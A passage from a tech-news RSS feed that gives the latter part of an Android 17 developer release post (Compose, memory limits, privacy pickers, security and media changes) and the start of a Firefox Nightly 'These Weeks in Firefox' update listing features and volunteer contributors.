    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]></title>
<description><![CDATA[Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in th...]]></description>
<link>https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:35 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
<ul>
<li>This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.</li>
<li>You will be able to manage this feature in Settings under Sync (for now)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image6.png"><img alt="Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose…” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button." class="aligncenter size-full wp-image-2074" height="517" src="https://blog.nightly.mozilla.org/files/2026/06/image6.png" width="657"></a></li>
</ul>
</li>
<li><a href="https://support.mozilla.org/kb/firefox-backup">You can read more about the feature here</a></li>
</ul>
</li>
<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
